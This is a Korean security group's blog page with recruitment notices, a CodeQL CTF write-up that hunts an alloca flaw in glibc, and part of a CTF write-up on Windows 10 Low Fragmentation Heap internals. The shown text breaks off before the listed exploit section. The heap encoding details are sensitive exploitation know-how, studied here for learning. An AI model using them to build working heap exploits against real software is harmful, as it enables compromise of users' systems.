NULL@ROOT

[마감] 2025 Null@Root 신입 그룹원 모집

2025-07-13T00:00:00+00:00

안녕하세요. Null@Root 입니다. 2025년 신입 그룹원을 모집합니다.

여러분의 열정, 실력, 인성을 바탕으로 앞으로 해킹&보안 연구활동을 함께할 멋진 분들을 모십니다.

전통에 따라 몇 차례의 테스트를 통해서 친분을 쌓는 좋은 시간을 갖고자 합니다.

마지막 단계까지 최선을 다해 주시길 바라며, 아래와 같은 간단한 지원서와 기술문서로 신입 그룹원 지원을 받습니다.

지원 방법 - 지원서
마감 기간 - 2025년 8월 15일 23시 59분 59초
주의사항 1 - 원만한 활동을 위해 20세 이상의 성인을 모집하고 있습니다.
주의사항 2 - 포트폴리오의 경우 지원서 작성 폼에 첨부해주시길 바랍니다.

링크를 통해 성실하게 답변을 작성하여 마감기간 내에 지원하여 주시기 바랍니다.

기타 문의사항 있을 시 아래 메일로 보내주시기 바랍니다.

Contact: nr2025junior@gmail.com

[마감] 2024 Null@Root 신입 그룹원 모집

2024-06-17T03:00:00+00:00

안녕하세요. Null@Root 입니다. 2024년 신입 그룹원을 모집합니다.

여러분의 열정, 실력, 인성을 바탕으로 앞으로 해킹&보안 연구활동을 함께할 멋진 분들을 모십니다.

전통에 따라 몇 차례의 테스트를 통해서 친분을 쌓는 좋은 시간을 갖고자 합니다.

마지막 단계까지 최선을 다해 주시길 바라며, 아래와 같은 간단한 지원서와 기술문서로 신입 그룹원 지원을 받습니다.

지원 방법 - 지원서
마감 기간 - 2024년 7월 14일 23시 59분 59초
주의사항 1 - 원만한 활동을 위해 20세 이상의 성인을 모집하고 있습니다.
주의사항 2 - 포트폴리오의 경우 지원서 작성 폼에 첨부해주시길 바랍니다.

링크를 통해 성실하게 답변을 작성하여 마감기간 내에 지원하여 주시기 바랍니다.

기타 문의사항 있을 시 아래 메일로 보내주시기 바랍니다.

Contact: nr2024junior@gmail.com

[마감] 2023 Null@Root 신입 그룹원 모집

2023-06-25T00:20:00+00:00

안녕하세요. Null@Root 입니다. 2023년 신입 그룹원을 모집합니다.

여러분의 열정, 실력, 인성을 바탕으로 앞으로 해킹&보안 연구활동을 함께할 멋진 분들을 모십니다.

전통에 따라 몇 차례의 테스트를 통해서 친분을 쌓는 좋은 시간을 갖고자 합니다.

마지막 단계까지 최선을 다해 주시길 바라며, 아래와 같은 간단한 지원서와 번역 또는 기술문서로 신입 그룹원 지원을 받습니다.

지원 방법 - 지원서 + 최근에 작성한 본인의 기술문서 또는 번역문서
마감 기간 - 2023년 7월 23일 23시 59분 59초
주의사항 1 - 원만한 활동을 위해 20세 이상의 성인을 모집하고 있습니다.
주의사항 2 - 번역 또는 기술 문서는 본인의 열정을 충분히 보여줄 수 있는 부분으로 그림 및 코드 제외 단어수(wc -w)가 2000자 이상이어야 합니다.

링크를 통해 성실하게 답변을 작성하여 마감기간 내에 지원하여 주시기 바랍니다.

기타 문의사항 있을 시 아래 메일로 보내주시기 바랍니다.

Contact: nr2023junior@gmail.com

[마감] 2022 Null@Root 신입 그룹원 모집

2022-06-03T12:12:00+00:00

안녕하세요. Null@Root 입니다. 2022년 신입 그룹원을 모집합니다.

여러분의 열정, 실력, 인성을 바탕으로 앞으로 해킹&보안 연구활동을 함께할 멋진 분들을 모십니다.

전통에 따라 몇 차례의 테스트를 통해서 친분을 쌓는 좋은 시간을 갖고자 합니다.

마지막 단계까지 최선을 다해 주시길 바라며, 아래와 같은 간단한 지원서와 번역 또는 기술문서로 신입 그룹원 지원을 받습니다.

지원 방법 - 지원서 + 최근에 작성한 본인의 기술문서 또는 번역문서
마감 기간 - 2022년 7월 3일 23시 59분 59초
주의사항 1 - 원만한 활동을 위해 20세 이상의 성인을 모집하고 있습니다.
주의사항 2 - 번역 또는 기술 문서는 본인의 열정을 충분히 보여줄 수 있는 부분으로 그림 및 코드 제외 단어수(wc -w)가 2000자 이상이어야 합니다.

링크를 통해 성실하게 답변을 작성하여 마감기간 내에 지원하여 주시기 바랍니다.

기타 문의사항 있을 시 아래 메일로 보내주시기 바랍니다.

Contact: nr2022junior@gmail.com

[마감] 2021 Null@Root 신입 그룹원 모집

2021-05-15T14:32:00+00:00

안녕하세요. Null@Root 입니다. 2021년 신입 그룹원을 모집합니다.

여러분의 열정, 실력, 인성을 바탕으로 앞으로 해킹&보안 연구활동을 함께할 멋진 분들을 모십니다.

전통에 따라 몇 차례의 테스트를 통해서 친분을 쌓는 좋은 시간을 갖고자 합니다.

마지막 단계까지 최선을 다해 주시길 바라며, 아래와 같은 간단한 지원서와 번역 또는 기술문서로 신입 그룹원 지원을 받습니다.

지원 방법 - 지원서 + 최근에 작성한 본인의 기술문서 또는 번역문서
마감 기간 - 2021년 6월 13일 23시 59분 59초
주의사항 1 - 원만한 활동을 위해 20세 이상의 성인을 모집하고 있습니다.
주의사항 2 - 개인정보 제공 및 활용 동의서를 작성해 사진 캡쳐 혹은 스캔본 형태로 제출해 주셔야 합니다.
주의사항 3 - 번역 또는 기술 문서는 본인의 열정을 충분히 보여줄 수 있는 부분으로 그림 및 코드 제외 단어수(wc -w)가 2000자 이상이어야 합니다.

링크를 통해 성실하게 답변을 작성하여 마감기간 내에 지원하여 주시기 바랍니다.

기타 문의사항 있을 시에도 위 메일로 보내주시기 바랍니다.

[Writeup] GitHub Security Lab CTF 1: SEGV hunt

2021-02-12T19:00:00+00:00

작성 - y0ny0ns0n @ null2root

소개
환경 구축
문제 풀이
3.0.0. Question 0.0
3.1.0. Question 1.0
3.1.1. Question 1.1
3.2.0. Question 2.0
3.2.1. Question 2.1
3.2.2. Question 2.2
3.2.3. Question 2.3
3.2.4. Question 2.4
3.2.5. Question 2.5
3.3.0. Question 3.0
3.4.0. Question 4.0
3.4.1. Question 4.1
3.5.0. Question 5.0(optional)
후기

1. 소개

CodeQL은 LINQ 형식의 언어로, source code가 있는 프로젝트들을 대상으로 Data Flow Analysis, Global Value Numbering, Taint Tracking과 같은 static analysis 기능을 제공해 줍니다. CodeQL은 이미 Microsoft[1][2], Google[3]과 같은 major software를 유지보수하는 회사들과 여러 security researcher들[4]이 실제로 사용하며 그 효용성을 계속 증명해 나가고 있습니다. 보통 취약점 연구를 할때 security researcher들은 거의 대부분 Code Auditing을 기반해 연구를 진행하는데 CodeQL은 (최소한 Open Source 프로젝트에 한해) 이에 대해 많은 도움을 줄 수 있는 좋은 보완재라 생각해 간단하게 사용해 보고 Writeup으로 정리해 보려고 합니다.

GitHub Security Lab CTF 1: SEGV hunt 는 Github Security Lab에서 주최했으며 CodeQL 사용법을 익히는데 도움을 주고자 만든 일종의 challenge 형식의 프로젝트입니다. 다른 CTF들도 있지만 제가 관심을 가지는 대상이 거의 대부분 C/C++ 관련 프로젝트들이기 때문에 이 CTF를 골랐습니다. 이 CTF는 CodeQL로 GNU C Library에 있는 alloca() 함수의 취약점을 step-by-step으로 찾아나가며 CodeQL을 학습하는데 목적을 두고 있습니다.

2. 환경 구축

CodeQL U-Boot Challenge라고 CodeQL 튜토리얼 같은게 있는데, 기본적인 CodeQL 환경구성과 사용법에 대해 30분~1시간 내외의 짧은 시간안에 배울 수 있으니 Writeup을 보기 전에 한번 해보고 오는 것을 추천드립니다.

이 CTF는 친절하게도 분석할 glibc의 CodeQL DB snapshot을 제공해 주는데 만약 해당 DB를 직접 만들어 보고 싶다면 bminor/glibc repo의 3332218 commit을 가져와 컴파일하면 제공받은 snapshot과 같은 DB를 만들 수 있습니다[5]. VS Code 의 CodeQL 플러그인으로 분석할 CodeQL DB를 가져오고 CodeQL repository도 cloning해서 cpp/ql/src 디렉토리의 하위에 query 문을 작성한 뒤 아래와 같이 정상적으로 실행되면 환경구축이 완료된 것입니다.

3. 문제 풀이

3.0.0. Question 0.0

Question 0.0: alloca is a macro. Find the definition of this macro and the name of the function that it expands to.

CodeQL의 Macro Class를 사용하면 됩니다.

glibc의 alloca 매크로는 gcc built-in 함수인 __builtin_alloca를 확장해 사용합니다.

3.1.0. Question 1.0

Question 1.0: Find all the calls to alloca (using the function name that you found in step 0).

__builtin_alloca 는 매크로가 아닌 함수이기에, FunctionCall Class를 사용해 호출자를 찾을 수 있습니다.

3.1.1. Question 1.1

Question 1.1: Use the upperBound and lowerBound predicates from the SimpleRangeAnalysis library to filter out results which are safe because the allocation size is small. You can classify the allocation size as small if it is less than 65536. But don’t forget that negative sizes are very dangerous.

upperBound 와 lowerBound predicate는 특정 expression이 가질 수 있는 최대 범위와 최소 범위를 알아내는데 사용되며 Out-Of-Bound 취약점이나 Integer Overflow 취약점을 찾을 때 유용하게 사용할 수 있을 것입니다.

3.2.0. Question 2.0

Question 2.0: Find all calls to __libc_use_alloca.

glibc는 alloca 매크로를 호출하기 전 __libc_use_alloca 함수로 할당하고자 하는 size를 체크한 뒤, 만약 size가 범위를 벗어나면 malloc 함수를 사용합니다[6]. 그렇기 때문에 alloca 매크로 호출전에 __libc_use_alloca 함수가 호출된다면 해당 매크로 호출은 안전 하다고 할 수 있을 것입니다.

3.2.1. Question 2.1

Question 2.1: Find all guard conditions where the condition is a call to __libc_use_alloca.

GuardCondition Class는 특정 Basic Block으로 진입할지 말지 여부를 결정하는 조건 분기( switch~case 문 제외 )에 대한 Class로 아래와 같이 __alloca 매크로를 호출하는 Basic Block으로 진입하는 조건에 __libc_use_alloca 함수를 호출하는 경우의 수도 탐지할 수 있습니다.

( P.S. FunctionCall -> boolean 으로 변환하는 방법을 몰라서 아래와 같이 getAChild predicate에 Transitive Closure *을 사용했습니다. )

3.2.2. Question 2.2

Question 2.2: Sometimes the result of __libc_use_alloca is assigned to a variable, which is then used as the guard condition. For example, this happens at setsourcefilter.c:38-41. Enhance your query, using local dataflow, so that it also finds this guard condition.

조건 분기에서 __libc_use_alloca 함수 호출을 직접적으로 하지 않고 반환값을 사용할 경우 기존의 query문으로는 탐할 수 없고, 아래와 같이 localFlow predicate를 사용해 source를 __libc_use_alloca 함수 호출, sink를 조건 분기로 설정하면 탐지할 수 있습니다.

3.2.3. Question 2.3

Question 2.3: Sometimes the call to __libc_use_alloca is wrapped in a call to __builtin_expect. For example, this happens at setenv.c:185. Enhance your query so that it also finds this guard condition.

만약 조건 분기에서 __libc_use_alloca 함수 호출에 대한 반환값을 간접적으로 사용한다면, 아래와 같이 sink로 gc 대신 gc.getAChild*()를 사용해 탐지조건에 포함할 수 있습니다. Transitive Closure에서 *는 재귀의 꼬리를 포함한 전체집합, +는 꼬리를 제외한 여집합을 의미하기 때문에 sink로 조건분기 expression의 전체집합을 줌으로써 __bultin_expect나 그외 다른 wrapper로 감싸져 있어도 탐지할 수 있게 되는 것입니다.

3.2.4. Question 2.4

Question 2.4: Sometimes the result of __libc_use_alloca is negated with the ! operator. For example, this happens at getaddrinfo.c:2291-2293. Enhance your query so that it can also handle negations.

이 문제는 DataFlow Analysis를 할때 source의 범위를 단순히 함수 호출이 아니라 그 이상으로 확장 시켜줘야 합니다. 저는 __libc_use_alloca 함수 호출을 BasicBlock으로 감싼 뒤, 해당 BB의 ControlFlowNode를 source로 지정해 해결했습니다.

3.2.5. Question 2.5

Question 2.5: Find calls to alloca that are safe because they are guarded by a call to __libc_use_alloca.

이후에 사용하기 쉽게 지금까지 찾은 조건들을 predicate로 만들었습니다.

3.3.0. Question 3.0

Question 3.0: use your answer from step 2 to enhance your query from step 1 by filtering out calls to alloca that are safe because they are guarded by a call to __libc_use_alloca.

Question 1.1에서 찾은 조건들도 predicate로 만들어 취약할거라고 의심되는 함수 호출 목록을 만들었습니다.

3.4.0. Question 4.0

Question 4.0: Find calls to fopen. (Be aware that fopen is another macro.)

fopen 매크로는 _IO_new_fopen 함수를 호출합니다.

3.4.1. Question 4.1

Question 4.1: Write a taint tracking query. The source should be a call to fopen and the sink should be the size argument of an unsafe call to alloca. To help you get started, here is the boilerplate for the query:

/**
  * @name 41_fopen_to_alloca_taint
  * @description Track taint from fopen to alloca.
  * @kind path-problem
  * @problem.severity warning
  */

import cpp
import semmle.code.cpp.rangeanalysis.SimpleRangeAnalysis
import semmle.code.cpp.dataflow.TaintTracking
import semmle.code.cpp.models.interfaces.DataFlow
import semmle.code.cpp.controlflow.Guards
import DataFlow::PathGraph

// replace deprecated predicates name by @y0ny0ns0n

// Track taint through `__strnlen`.
class StrlenFunction extends DataFlowFunction {
  StrlenFunction() { this.getName().matches("%str%len%") }

  override predicate hasDataFlow(FunctionInput i, FunctionOutput o) {
    i.isParameter(0) and o.isReturnValue()
  }
}

// Track taint through `__getdelim`.
class GetDelimFunction extends DataFlowFunction {
  GetDelimFunction() { this.getName().matches("%get%delim%") }

  override predicate hasDataFlow(FunctionInput i, FunctionOutput o) {
    i.isParameter(3) and o.isParameterDeref(0)
  }
}

class Config extends TaintTracking::Configuration {
  Config() { this = "fopen_to_alloca_taint" }

  override predicate isSource(DataFlow::Node source) {
    // TODO
  }

  override predicate isSink(DataFlow::Node sink) {
    // TODO
  }
}

from Config cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink, source, sink, "fopen flows to alloca"

우선 위의 query문을 보면, 이미 존재하는 GetDelimFunction Class와 StrlenFunction Class를 재정의하는데, 아마 Global Taint Tracking으로 fopen 호출 -> alloca 의 크기 인자 로 이어지는 data flow를 추적하는 과정에서 해당 함수들( __getdelim, __strnlen )의 data flow를 따로 정의해줄 필요가 있어서 그런것 같습니다.

query문이 상당히 길어 스크린샷 대신 code snippet을 첨부하겠습니다.

/**
  * @name 41_fopen_to_alloca_taint
  * @description Track taint from fopen to alloca.
  * @kind path-problem
  * @problem.severity warning
  */

 import cpp
 import semmle.code.cpp.rangeanalysis.SimpleRangeAnalysis
 import semmle.code.cpp.dataflow.TaintTracking
 import semmle.code.cpp.models.interfaces.DataFlow
 import semmle.code.cpp.controlflow.Guards
 import semmle.code.cpp.dataflow.DataFlow
 import DataFlow::PathGraph


 predicate isSafeAllocaCall(FunctionCall allocaCall) {
  exists(FunctionCall fc, DataFlow::Node source, DataFlow::Node sink, GuardCondition guard, BasicBlock block |
    fc.getTarget().hasQualifiedName("__libc_use_alloca") and
    guard.controls(allocaCall.getBasicBlock(), _) and
    DataFlow::localFlow(source, sink) and
    block.contains(fc) and
    source.asExpr() = block.getANode() and
    sink.asExpr() = guard.getAChild*()
  )
}

predicate isOOBAllocaCall(FunctionCall allocaCall) {
  exists(Expr sizeArg | 
    sizeArg = allocaCall.getArgument(0).getFullyConverted() and
    (upperBound(sizeArg) >= 65536 or lowerBound(sizeArg) < 0)
  )
}

// Track taint through `__strnlen`.
class StrlenFunction extends DataFlowFunction {
  StrlenFunction() { this.getName().matches("%str%len%") }

  override predicate hasDataFlow(FunctionInput i, FunctionOutput o) {
    i.isParameter(0) and o.isReturnValue()
  }
}

// Track taint through `__getdelim`.
class GetDelimFunction extends DataFlowFunction {
  GetDelimFunction() { this.getName().matches("%get%delim%") }

  override predicate hasDataFlow(FunctionInput i, FunctionOutput o) {
    i.isParameter(3) and o.isParameterDeref(0)
  }
}
 
 class Config extends TaintTracking::Configuration {
   Config() { this = "fopen_to_alloca_taint" }
 
   override predicate isSource(DataFlow::Node source) {
     exists(FunctionCall fopenCall | 
        fopenCall.getTarget().hasName("_IO_new_fopen") and
        source.asExpr() = fopenCall
      )
   }
 
   override predicate isSink(DataFlow::Node sink) {
     exists(
       Expr sizeArg, FunctionCall allocaCall |
       allocaCall.getTarget().hasQualifiedName("__builtin_alloca") and
       not isSafeAllocaCall(allocaCall) and
       isOOBAllocaCall(allocaCall) and
       sizeArg = allocaCall.getArgument(0).getFullyConverted() and
       sink.asExpr() = sizeArg
     )
   }
 }
 
 from Config cfg, DataFlow::PathNode source, DataFlow::PathNode sink
 where cfg.hasFlowPath(source, sink)
 select sink, source, sink, "fopen flows to alloca"

3.5.0. Question 5.0(optional)

Question 5.0: The GNU C Library includes several command-line applications. (It contains 24 main functions.) Demonstrate that the bug is real by showing that you can trigger a SIGSEGV in one of these command-line applications.

crash 터트리는 PoC 코드 짜는게 마지막 문제인데, 저는 CodeQL 사용법을 익히기 위해서 시작한거라 해당 문제는 스킵하겠습니다.

4. 후기

Variant Analysis란 용어가 있습니다. 변인(變因) 분석이라는 뜻 답게 이미 ‘알려진’ 취약점들을 마치 fuzzing의 seed 값처럼 Control flow analysis, Data flow analysis, Taint tracking, Range analysis 등의 정적 분석 방법론들에 활용하며 새로운 취약점을 찾는 분석기법이며, CodeQL 을 사용해 취약점을 찾는 모든 행위를 Variant Analysis 라고 봐도 무방할 것입니다. 제가 다른 정적분석도구를 써본적은 없어 잘 모르지만 CodeQL은 취약점 분석에 필요한 대부분의 요소들을 이미 구현해 놨고, 실제로 이를 활용해 발견된 취약점도 점점 늘어나고 있습니다.

물론 이를 활용하기 위해선 내가 분석하고자 하는 프로그램의 attack vector와 패치된 취약점 패턴들을 충분히 이해한 상태여야 겠지만, 내가 생각한 취약점 패턴을 단순히 직감의 일부로 넘기는 것이 아니라 나중에 활용할 수 있도록 코드로 저장할 수 있고, 실제로 Github Security Lab에선 Bounty까지 주며 이를 장려하고 있다는 것은 굉장히 큰 장점으로 여겨집니다[7]. 다음번 포스팅때는 실제로 CodeQL을 활용해 취약점을 찾고 RCA( Root Cause Analysis )까지 하는 것을 목표로 잡고 특정 프로그램을 분석중인데 잘 됐으면 좋겠습니다 ㄷㄷ.

[마감] 2020 Null@Root 신입 그룹원 모집

2020-04-05T10:22:00+00:00

2020년도 그룹원 신청이 마감되었습니다.
지원해 주신 분들께 감사드립니다.

안녕하세요. Null@Root 입니다. 2020년 신입 그룹원을 모집합니다.

여러분의 열정, 실력, 인성을 바탕으로 앞으로 해킹&보안 연구활동을 함께할 멋진 분들을 모십니다.

전통에 따라 몇 차례의 테스트를 통해서 친분을 쌓는 좋은 시간을 갖고자 합니다.

마지막 단계까지 최선을 다해 주시길 바라며, 아래와 같은 간단한 지원서와 번역 또는 기술문서로 신입 그룹원 지원을 받습니다.

지원 방법 - 지원서 작성 + 최근에 작성한 본인의 기술문서 또는 번역문서
마감 기간 - 2020년 5월 24일 23시 59분 59초
주의사항 1 - 원만한 활동을 위해 20세 이상의 성인을 모집하고 있습니다.
주의사항 2 - 개인정보 제공 및 활용 동의서를 작성해 사진 캡쳐 혹은 스캔본 형태로 제출해 주셔야 합니다.
주의사항 3 - 번역 또는 기술 문서는 본인의 열정을 충분히 보여줄 수 있는 부분으로 그림 및 코드 제외 단어수(wc -w)가 2000자 이상이어야 합니다.

성실하게 답변을 작성하여 nr2020junior@gmail.com 로 마감기간 내에 보내주시기 바랍니다.

기타 문의사항 있을 시에도 위 메일로 보내주시기 바랍니다.

[Writeup] LazyFragmentationHeap - WCTF 2019

2020-02-07T02:53:00+00:00

작성 - y0ny0ns0n @ null2root

소개
환경 구축
분석
3.1. _HEAP
3.2. _HEAP_ENTRY
3.3. _HEAP_LIST_LOOKUP
3.4. _LFH_HEAP
3.5. _HEAP_BUCKET
3.6. _HEAP_LOCAL_SEGMENT_INFO
3.7. _HEAP_SUBSEGMENT
3.8. _HEAP_USERDATA_HEADER
3.9. _INTERLOCK_SEQ
3.10. Allocate and Free Non-LFH chunk
3.11. Allocate and Free LFH chunk
익스플로잇
후기
참고자료

1. 소개

올해부터 전체적인 공부방향 자체를 Windows ＋α로 잡아보니, Windows 10 NT Heap에 관심이 생겨서 관련 문서를 찾다 이 문제를 보고 한번 풀어보고자 했습니다.

LazyFragmentationHeap은 WCTF 2019에서 Angelboy가 출제한 문제인데, Windows의 Low Fragmentation Heap( 통칭 LFH )과 관련되어 있습니다.

앞서 말했다시피 이 주제에 대해 공부하기 위해 이 문제를 선택했기 때문에, 제가 기록할 문서의 내용자체에 오류가 있을 수 있습니다. 혹시 그런 오류를 찾으신다면 최하단의 Disqus 댓글을 통해 알려주시면 감사하겠습니다.

2. 환경 구축

가상머신 + 문제파일: https://github.com/scwuaptx/LazyFragmentationHeap#vm

Windows 10 Pro Version 1903 (OS Build 18362.30)
VirtualBox 6.1.2

C:\Users\wctf2019\Desktop\challenge 디렉토리에 있는 start.bat을 실행하면 아래와 같이 AppJailLauncher를 통해 문제파일에 원격으로 접근할 수 있습니다.

문제파일이 동작하는 VM은 앞서 표기한 바와 같이 Windows 10 Pro Version 1903 (OS Build 18362.30) 인데, 문제파일 분석을 제외한 LFH에 대한 분석은 제 Host OS 버전인 Windows 10 Pro Version 1909 (18363.592) 을 기준으로 하고 있습니다.

다행히 두 버전간의 차이가 크지 않은 탓인지, BinDiff로 ntdll.dll에서 차이를 비교해 봤을때 아래와 같이 큰 변화가 없어 괜찮을 것이라고 판단했습니다.

3. 분석

Windows Heap 할당 메커니즘은 기존에 존재하던 NT Heap과, Windows 10부터 추가된 Segment Heap으로 나뉘어 집니다.

Segment Heap은 이미 Edge Browser나 대부분의 UWP 앱에서 사용되고 있으며 굉장히 흥미로운 주제이지만, 이번에 분석해볼 LFH는 Windows Vista 시절부터 사용되던 NT Heap에 포함된 기능이기 때문에 다음에 기회가 된다면 분석해보겠습니다.

NT Heap은 크게 Front-End와 Back-End로 나눠지는데, Front-End가 LFH를 의미합니다. LFH가 비활성화되어 있다면 Heap 메모리 할당 시 바로 Back-End로 넘어가게 됩니다.

Front-End에 해당하는 LFH는 실제 Heap 메모리 할당에는 관여하지 않고, Low Fragmentation Heap이라는 이름 그대로 할당된 Heap 메모리간의 단편화를 완화함으로서 보다 더 효율적으로 Heap 메모리를 관리하기 위해 사용됩니다.

LFH는 아래의 코드처럼 동일한 크기의 Heap 메모리를 여러개 할당해 주다 보면 자동으로 활성화 됩니다. 여기서 주의할 점은 할당요청한 Heap 메모리의 크기가 16KB( 0x4000 ) 보다 클 경우, LFH는 해당 메모리를 관리하지 않습니다.

#include 
#include 

int main(void) {
        LPVOID *ptr_arr[80];
        int i;

        for(i = 0; i < 80; i++)
                ptr_arr[i] = malloc(0x80);

        printf("[+] find Heap base address using \"!heap -x %p\" command\n", ptr_arr[0]);
        printf("[+] check if LFH was enabled\n");
        getchar();

        for(i = 0; i < 80; i++)
                free(ptr_arr[i]);

    return 0;
}

( 사족이지만, Windows 에서 할당된 모든 Heap 메모리는 _HEAP 구조체를 통해 관리되는데, HeapCreate() 함수로 생성한 private heap을 사용하지 않고 위의 테스트 코드처럼 표준 malloc() 함수를 사용해 할당하면 PEB에 보관되어 있는 기본 Heap 메모리를 사용합니다 )

ProcessHeap" />

LFH가 활성화되면 _HEAP->FrontEndHeap에 새로 할당된 LFH의 주소가 들어가고, _HEAP->FrontEndHeapType에 2가 들어가 있는데 이 값은 HeapQueryInformation() 함수를 통해 읽어들여 LFH의 활성화 여부를 구별할 때 사용할 수 있습니다.

_HEAP->FrontEndHeap 이외에도 LFH가 사용하는 값들을 가지고 있는 구조체들은 개략적으로 아래의 그림과 같이 연결되어 있습니다.

서로 다른 구조체 멤버에서 출발한 화살표들이 같은 구조체를 가리키는 것은 단지 그 멤버들이 같은 구조체를 사용할 뿐 실제로 같은 값을 가진다는 건 아닙니다
Linked List로 연결된 다음 구조체를 가리키는 멤버에는 화살표를 사용하지 않았습니다
포인터가 아닌 구조체 멤버는 이름 밑에 구조체 타입을 명시했습니다

LFH를 이해하기 위해선 위와 같이 다양한 객체들이 어떤 기능을 수행하는지 먼저 알아볼 필요가 있다고 생각해서, 여러 문서를 참조해 아래와 같이 정리해봤는데 혹시 잘못되었거나 부족한 부분이 있다면 최하단의 Disqus 댓글로 알려주시기 바랍니다.

용어 정리

Bucket : LFH에게 할당받은 Heap chunk들을 크기로 분류해 묶어놓은 것이며, UserBlock이라고도 부름.
SubSegment : LFH가 Heap 메모리를 효율적으로 관리하기 위해 사용하는 _HEAP_SUBSEGMENT 구조체를 의미하며, Heap chunk 크기가 다르면 서로 다른 SubSegment가 사용됨.

3.1. _HEAP

: 할당된 Heap 메모리 영역을 관리하기 위해 사용되는 가장 핵심적인 구조체.

EncodeFlagMask : Heap chunk header가 인코딩되었는지 판단하기 위해 사용되는 값, Heap 초기화 시 0x100000으로 설정됨
Encoding : Heap header들이 변조 되는것을 방지하기 위한 XOR 인코딩을 위해 사용됨
BlocksIndex : Back-End에서 Heap chunk들을 관리하기 위해 사용되는 _HEAP_LIST_LOOKUP 구조체를 가리킴
FreeLists : glibc에서 쓰이는 unsorted bin과 비슷하게 할당 해제된 Heap chunk의 _HEAP_ENTRY 구조체를 가리킴
FrontEndHeap : LFH가 비활성화되어 있으면 0으로 초기화된 상태이지만, LFH가 활성화되면 할당된 _LFH_HEAP 구조체를 가리킴

3.2. _HEAP_ENTRY

: glibc에서 쓰이는 malloc_chunk 구조체의 header 부분처럼 할당된 Heap chunk의 header 역할을 하는 구조체.
( LFH냐 아니냐에 따라 서로 다른 방식으로 XOR 인코딩되어 있기 때문에, 실제 값을 알기 위해선 디코딩 과정이 필요함 )

Non-LFH chunk

PreviousBlockPrivateData : 이전에 할당되어 있던 Heap chunk의 값을 보관하는데, 보통 0으로 초기화되어 있음
Size : _HEAP_ENTRY 구조체를 포함한 Heap chunk의 크기이며, 0x10을 곱해야 원래 값을 구할 수 있음
Flags : Heap chunk가 사용중( BUSY, 1 )인지, 할당해제된 상태( FREE, 0 )인지 식별할 때 사용됨
SmallTagIndex : ( PreviousBlockPrivateData를 제외한 )_HEAP_ENTRY 구조체 앞부분 3 bytes를 XOR한 값을 보관하고 있으며, header의 무결성을 검증하기 위해 사용됨
PreviousSize : 이전에 할당된 Heap chunk의 크기이며, 0x10을 곱해야 원래 값을 구할 수 있음
UnusedBytes : 할당 후 남은 메모리 크기를 명시할 때 사용되는데, 이 멤버의 8번째 bit가 1일 경우( UnusedBytes OR 0x80 == 1 ) 이 chunk는 LFH chunk로 인식됨

LFH chunk

LFH chunk의 경우 SubSegmentCode에 아래와 같은 XOR 연산의 결과값을 보관합니다.

((&_HEAP_ENTRY - &_HEAP_USERDATA_HEADER) << 0xC) ^
(&_HEAP_ENTRY >> 4) ^
&_HEAP ^
pLFHKey

이 결과값을 통해 아래와 같이 해당 LFH chunk의 _HEAP_USERDATA_HEADER 구조체와 _HEAP_SUBSEGMENT 구조체를 찾을 수 있습니다.

SubSegmentCode : _HEAP_USERDATA_HEADER 구조체와 _HEAP_SUBSEGMENT 구조체를 찾기 위해 사용됨
PreviousSize : ( 이름때문에 헷갈리긴 하지만 ) _HEAP_USERDATA_HEADER->BitmapData에서 해당 Heap chunk와 연결된 bit를 찾는 index값으로 사용됨
UnusedBytes : 할당 후 남은 메모리 크기를 명시할 때 사용되는데, 이 멤버의 8번째 bit가 1일 경우( UnusedBytes OR 0x80 == 1 ) 이 chunk는 LFH chunk로 인식됨

3.3. _HEAP_LIST_LOOKUP

: Back-End에서 Heap chunk를 관리하기 위해 사용하는 구조체.
( _HEAP->BlocksIndex )

ExtendedLookup : 다음 _HEAP_LIST_LOOKUP 구조체를 가리키는 주소가 들어있음
ArraySize : Heap chunk들의 최대 크기이며, 0x10을 곱해야 원래 값을 구할 수 있음
ItemCount : 관리중인 Heap chunk들의 개수
OutOfRangeItems : 관리할 수 있는 최대 크기를 넘어선 Heap chunk들의 개수
BaseIndex : 현재 _HEAP_LIST_LOOKUP 구조체가 관리하고 있는 Heap chunk들의 시작 index 값이며 index의 범위는 현재 _HEAP_LIST_LOOKUP의 BaseIndex 부터 ExtendedLookup이 가리키는 _HEAP_LIST_LOOKUP의 BaseIndex 까지이며, ListHints가 할당해제된 Heap chunk를 탐색할 때에도 사용됨
ListHead : 할당해제된 Heap chunk들을 관리하는 Double Linked List의 Head 역할을 하며, _HEAP->FreeLists를 가리킴
ListInUseUlong : ListHints가 가리키는 Heap chunk들 중 어떤게 사용가능한지 가리킴
ListHints : 할당해제된 Heap chunk들 중 같은 크기들끼리 연결된 Double Linked List를 가리키는 주소의 배열 역할을 함

3.4. _LFH_HEAP

: LFH chunk들을 관리하기 위해 사용되는 구조체.
( _HEAP->FrontEndHeap )

Heap : 해당 _LFH_HEAP 구조체를 가리키는 _HEAP 구조체의 시작주소를 가리킴
Buckets : 할당요청을 받은 Heap chunk 크기와 일치하는 메모리 영역을 찾을 때 사용됨
SegmentInfoArrays : Heap chunk들을 크기로 분류해 각기 다른 SubSegment( _HEAP_SUBSEGMENT )로 관리하기 위해 사용됨
LocalData : _HEAP_LOCAL_DATA->LowFragHeap을 읽어들여 LFH의 주소를 알아내기 위해 사용됨

3.5. _HEAP_BUCKET

: LFH가 Heap chunk를 할당할때 참조하기 위해 사용되며 Bucket을 관리하기 위해 사용되는 구조체.
( _LFH_HEAP->Buckets )

BlockUnits : 해당 Bucket이 가리키는 Heap chunk의 크기를 찾고자 할 때 사용되며, 0x10을 곱해야 실제 크기를 구할 수 있음
SizeIndex : 해당 Bucket의 index값을 가지고 있으며, _LFH_HEAP->SegmentInfoArrays 배열에서의 index값으로도 사용됨

3.6. _HEAP_LOCAL_SEGMENT_INFO

: SubSegment를 관리하기 위해 사용되는 구조체.
( _LFH_HEAP->SegmentInfoArrays )

LocalData : _LFH_HEAP->LocalData를 가리키며, 이를 참조해 _LFH_HEAP의 시작주소를 찾을 수 있음
ActiveSubsegment : LFH의 메모리 할당 요청을 처리하는데 사용될 SubSegment를 가리킴
CachedItems : ActiveSubsegment가 가리키는 SubSegment에서 관리할 수 있는 Heap chunk의 개수를 초과하면 이 배열에서 새로운 SubSegment를 가져옴
BucketIndex : ActiveSubsegment가 가리키는 SubSegment와 연결된 _LFH_HEAP->Buckets의 index값( =_HEAP_BUCKET->SizeIndex )을 가지고 있음

3.7. _HEAP_SUBSEGMENT

: LFH가 할당한 Heap chunk들을 각각의 크기별로 관리하기 위해 사용되는 구조체.
( _HEAP_LOCAL_SEGMENT_INFO->ActiveSubsegment, _HEAP_LOCAL_SEGMENT_INFO->CachedItems )

